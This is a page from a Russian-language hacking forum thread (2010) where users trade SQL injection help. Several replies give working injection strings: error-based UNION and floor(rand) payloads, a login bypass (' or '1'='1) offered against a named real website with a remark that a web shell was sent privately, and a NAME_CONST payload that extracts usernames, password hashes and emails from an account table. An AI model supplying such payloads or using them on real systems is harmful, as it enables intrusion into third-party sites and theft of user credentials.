HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1091 из 2422 « Первая < 9159199110411081 1087 1088 1089 1090 1091 1092 1093 1094 1095 11011141119115912091 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.01.2010, 20:19
Bagamut
Новичок
Регистрация: 26.02.2009
Сообщений: 3
Провел на форуме:
64450

Репутация: 0
По умолчанию
подскажите, как можно скачать себе на комп базу?
 
Ответить с цитированием

  #2  
Старый 05.01.2010, 20:37
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


По умолчанию
http://www.mysql.ru/docs/man/mysqldump.html
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием

  #3  
Старый 05.01.2010, 21:53
recfrf
Новичок
Регистрация: 22.08.2008
Сообщений: 10
Провел на форуме:
149978

Репутация: 6
По умолчанию
Подскажите как быть при такой скуле
ордером кол-во полей показывает, при вводе
.php?id=5+union+select+1,2-- принт полей не выводит, если сменить id на произвольный например 999, то приписывает id к названию таблицы и выдает ошибку, например Table 'sjc5292.table_999' doesn't exist, куда копать?
 
Ответить с цитированием

  #4  
Старый 05.01.2010, 22:21
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию
Цитата:
Сообщение от recfrf  
Подскажите как быть при такой скуле
ордером кол-во полей показывает, при вводе
.php?id=5+union+select+1,2-- принт полей не выводит, если сменить id на произвольный например 999, то приписывает id к названию таблицы и выдает ошибку, например Table 'sjc5292.table_999' doesn't exist, куда копать?
5+and+1=2+union+select+...
5+or(1,2)=(select+count(*),concat(version(),floor( rand(0)*2))from(select+1+union+select+2+union+sele ct+3)a+group+by+2)--+
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием

  #5  
Старый 06.01.2010, 18:58
aktlek
Новичок
Регистрация: 05.01.2010
Сообщений: 1
Провел на форуме:
1626

Репутация: 0
По умолчанию
как узнать платформу интернет ресурса?
 
Ответить с цитированием

  #6  
Старый 06.01.2010, 19:20
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


По умолчанию
Цитата:
Сообщение от aktlek  
как узнать платформу интернет ресурса?
1) Найти phpinfo();
2) ошибка
3) ответ сервера


Крутой хакер-кодер писал для этого тулзу какую-ту
 
Ответить с цитированием

  #7  
Старый 06.01.2010, 23:37
ronald
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме:
800727

Репутация: 83
По умолчанию
друзья, помогите пожалуйста, как можно заюзать SQL-иньекцию на данной странице авторизации http://pro-ilyichevsk.com/cms/!auth.php .
 
Ответить с цитированием

  #8  
Старый 06.01.2010, 23:54
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию
Цитата:
Сообщение от ronald  
друзья, помогите пожалуйста, как можно заюзать SQL-иньекцию на данной странице авторизации http://pro-ilyichevsk.com/cms/!auth.php .
логин: ' or '1'='1
пароль: ' or '1'='1

P.S шелл в личку отправил
Последний раз редактировалось .:[melkiy]:.; 07.01.2010 в 00:03..
 
Ответить с цитированием

  #9  
Старый 07.01.2010, 00:07
KNR
Новичок
Регистрация: 30.10.2009
Сообщений: 21
Провел на форуме:
182669

Репутация: 24
По умолчанию
Код:
localhost/index.php?modul=char&id=1062197)+and+1=(select+*+from(select+*+from(select+name_const((select+concat(username,0x3a,sha_pass_hash,0x3a,gmlevel,0x3a,email)+from+realmd.account+where+id=12),14)d)+as+t+join+(select+name_const((select+concat(username,0x3a,sha_pass_hash,0x3a,gmlevel,0x3a,email)+from+realmd.account+where+id=12),14)e)b)a)--+
Чем можно заменить name_const ?
Код:
Notice: Incorrect arguments to NAME_CONST in /var/www/web3/web/modules/char.php on line 8
пишет
 
Ответить с цитированием

  #10  
Старый 07.01.2010, 00:09
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию
Цитата:
Сообщение от KNR  
Код:
localhost/index.php?modul=char&id=1062197)+and+1=(select+*+from(select+*+from(select+name_const((select+concat(username,0x3a,sha_pass_hash,0x3a,gmlevel,0x3a,email)+from+realmd.account+where+id=12),14)d)+as+t+join+(select+name_const((select+concat(username,0x3a,sha_pass_hash,0x3a,gmlevel,0x3a,email)+from+realmd.account+where+id=12),14)e)b)a)--+
Чем можно заменить name_const ?
Код:
Notice: Incorrect arguments to NAME_CONST in /var/www/web3/web/modules/char.php on line 8
пишет
версия php?

UPD: http://bugs.mysql.com/bug.php?id=27545
Последний раз редактировалось .:[melkiy]:.; 07.01.2010 в 00:18..
 
Ответить с цитированием
Ответ
Страница 1091 из 2422 « Первая < 9159199110411081 1087 1088 1089 1090 1091 1092 1093 1094 1095 11011141119115912091 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.